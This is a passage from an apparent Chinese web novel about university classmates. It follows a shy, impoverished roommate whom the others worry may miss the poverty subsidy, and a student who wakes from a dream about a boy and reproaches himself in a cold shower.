“我就没在宿舍——好吧。”兰笙有点无奈,“你之前也不瞪人啊。” 李思思抱手臂:“我之前也不知道……少废话,快去叫他。” 虽然是一个班的,但兰笙也没跟元乂说过几句话。兰笙就记得这个舍友头老是低着的,话很少了:“元同学,元——” 元乂睡得太死,兰笙上手拍了下元乂肩。 这一拍。 元乂好瘦。 说瘦都有点不太恰当,元乂宽松T恤下的肩膀简直就是皮包骨。 “……” 兰笙其实还记得元乂上次打的穷鬼套餐,但没等兰笙继续想,元乂就醒了。 元乂的头发比一般男生的头发长许多。 脸却挺显小的。 “嗯——”他睡眼惺忪,是兰笙,元乂下意识看门口,果不其然,李思思他们也在,他的胸膛嗡动了两下,大脑都有些回血,“我……” 这么多人。 就看着他一个。 还是在兰笙和李思思面前。 元乂知道自己应该解释了下,至少说声对不起,但他这会儿一个字都说不出去。 越呆越冷场。 元乂抓起书,一言不发地往走了出去。 兰笙挑了下眉,李思思却早习惯了:“别管他了,他就这样。”她都有点纳闷,“班里有哪里得罪了他吗?” 兰笙没接李思思这话茬:“今年的贫困补助不是要开始了?他知道吗?” 能考上浦大的大多家境不错,没几个人申补助,就是有人申补助也不是真的穷,李思思对这事不怎么上心:“群里通知过,他应该知道吧。” “应该?”也不等李思思回答,兰笙直接道,“你再问问他。” “问他干什么。”李思思对别人可能没印象,但元乂干什么事都得她催,“最新款iPhone得一万六吧。” 兰笙虽然看起来挺清冷的,但声音还挺温柔:“再问问吧。” 兰笙说话轻柔的像云。 “行。”跟其他跟兰笙告白的颜狗不一样,李思思其实是喜欢兰笙性格,再次在心底感慨了下兰笙为什么是gay,“等我有空!” . 元乂虽然要打工,但寇持不用。 寇持一点多就睡了。 寇持没住宿舍。 也幸好没住宿舍。 他知道自己gay知道的很早,也梦到过一些什么,但从来没有这么具体过。 小男生头发黑黑的、有些长,唇瓣说不上多红,只是微红,有些潮湿,但笑起来很腼腆,无论他对他怎么样,他都是羞涩且温驯地望着他。 他的身体说不上多好看,很单薄。 甚至有些丑陋。 但就是一夜疾风骤雨。 …… 寇持醒后脸色有些难看。 寇持去了浴室。 冰冷的水从寇持的头往下浇,浇了得有半个多小时,寇持把手盖到了自己脸上,缓慢地把头发都捋了上去,露出了饱满的额头。 他的神情是冰冷的,声音却有些滚烫:“贱人——” 这一声也不知道是在骂谁贱人后。 半分钟、亦或者一分钟。 “你怎么就这么饿。” …… 破案了。 他骂的自己。